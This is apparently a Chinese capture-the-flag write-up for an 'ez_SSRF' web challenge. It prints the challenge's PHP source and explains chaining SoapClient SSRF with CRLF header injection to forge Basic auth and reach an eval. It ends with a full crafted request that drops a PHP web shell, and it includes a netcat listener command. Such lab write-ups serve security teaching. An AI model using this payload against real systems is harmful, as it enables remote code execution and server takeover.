如果说sql注入是我最喜欢的漏洞,那么ssrf我觉得是第二甚至快超过第一的漏洞了
事情还得从被人催更开始
emmm,怎么说呢这个题我之前是浅浅看了一眼的,不过也就一眼(扫了个目录然后没了)没多看了,开始以为是随便伪造个身份ssrf就过了应该,但是昨天亲自来做了一下,发现问题还蛮多的,也学到挺多姿势的~
题目来源: 三叶草安全技术小组第十五届极客大挑战 CTFPlus-ez_SSRF
先简单分析这个题怎么写的吧,后面再继续补充
开题
啥也没有,提示checkcheck,那就目录扫描一把梭咯~牛子哥启动
http://80-83297ec2-91eb-4f85-8453-96d54fb7d60e.challenge.ctfplus.cn/www.zip
下载源码,得到3个文件.开始审计咯!
h4d333333.php 看这个命名就知道像个后门
哈哈哈哈哈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php error_reporting(0); if(!isset($_POST['user'])){ $user="stranger"; }else{ $user=$_POST['user']; }
if (isset($_GET['location'])) { $location=$_GET['location']; $client=new SoapClient(null,array( "location"=>$location, "uri"=>"hahaha", "login"=>"guest", "password"=>"gueeeeest!!!!", "user_agent"=>$user."'s Chrome") );
$client->calculator();
echo file_get_contents("result"); }else{ echo "Please give me a location"; }
|
calculator.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <?php $admin="aaaaaaaaaaaadmin"; $adminpass="i_want_to_getI00_inMyT3st";
function check($auth) { global $admin,$adminpass; $auth = str_replace('Basic ', '', $auth); $auth = base64_decode($auth); list($username, $password) = explode(':', $auth); echo $username."<br>".$password; if($username===$admin && $password===$adminpass) { return 1; }else{ return 2; } } if($_SERVER['REMOTE_ADDR']!=="127.0.0.1"){ exit("Hacker"); } $expression = $_POST['expression']; $auth=$_SERVER['HTTP_AUTHORIZATION']; if(isset($auth)){ if (check($auth)===2) { if(!preg_match('/^[0-9+\-*\/]+$/', $expression)) { die("Invalid expression"); }else{ $result=eval("return $expression;"); file_put_contents("result",$result); } }else{ $result=eval("return $expression;"); file_put_contents("result",$result); } }else{ exit("Hacker"); }
|
我们先看看功能文件,计算器.php
梳理下所知道的东西吧:
- 访问者必须是来自
127.0.0.1
,否则不让过
- check函数对来自远端的
AUTHORIZATION
进行校验
- 想要命令执行的话还需要伪造
AUTHORIZATION
,或者说会话固定
,这个后面细讲
$expression
可控,直接写命令就行
显然我们直接访问只会得到如下结果
这时候看看后门.php
带来了啥
发现出现了一个SoapClient
原生类.哟!这不是老演员了嘛
随便一搜
思路就打开了嘛这不
网上99%的文章都是在讲反序列化触发call
魔术方法实现ssrf攻击,但本题没有反序列化序列化一说,其实也是出题人降低难度了.
所以这题默认就是会自动触发ssrf的,然后我们考虑怎样让它ssrf到我们指定的url呢
这不前面就出现了可控变量 $location=$_GET['location'];
这下第一关就算绕过了
那我们还有固定一个aaaaaaaaaaaadmin
的会话,然后并且要实现$expression
是我们想要执行的命令
所以自然目光就放到这个$user=$_POST['user'];
上面来了
这个可控变量表面看起来人畜无害的样子,实际确是大大滴有问题
请出第二个老演员CRLF注入
参考这:PHP 原生类在 CTF 中的利用-安全客 - 安全资讯平台
浅入深出谈 HTTP 响应拆分(CRLF Injection)攻击(上) - 先知社区
看完之后就很简单了,构造数据包,把我们想要的东西放前面,不想要的把它挤
下去
管不了这么多,先打一发看看威力
起一个监听nc -lvv 9999
打一发!
情况有变,后续再慢慢写,这里留个坑!(2024-11-4)
1 2 3 4 5 6 7 8 9 10 11 12
| POST /h4d333333.php?location=http://127.0.0.1/calculator.php HTTP/1.1 Host: 80-40b5773d-b8a3-4d33-b4e0-bce18f73cfe3.challenge.ctfplus.cn Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 DNT: 1 x-real-ip: Papa User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Content-Length: 217
user=admin%0d%0aAuthorization: Basic YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aContent-Length: 593%0d%0a%0d%0aexpression=system('echo "<?= \`\$_POST[1]\`;" >t.php'){{urlenc(&)}}a=%28%29%3B%0d%0a
|
赛题练习:CTFSHOW-WEB259
CRLF注入漏洞(响应截断)攻击实战
CRLF注入漏洞(响应截断)攻击实战_crlf漏洞-CSDN博客
浅入深出谈 HTTP 响应拆分(CRLF Injection)攻击(上) - 先知社区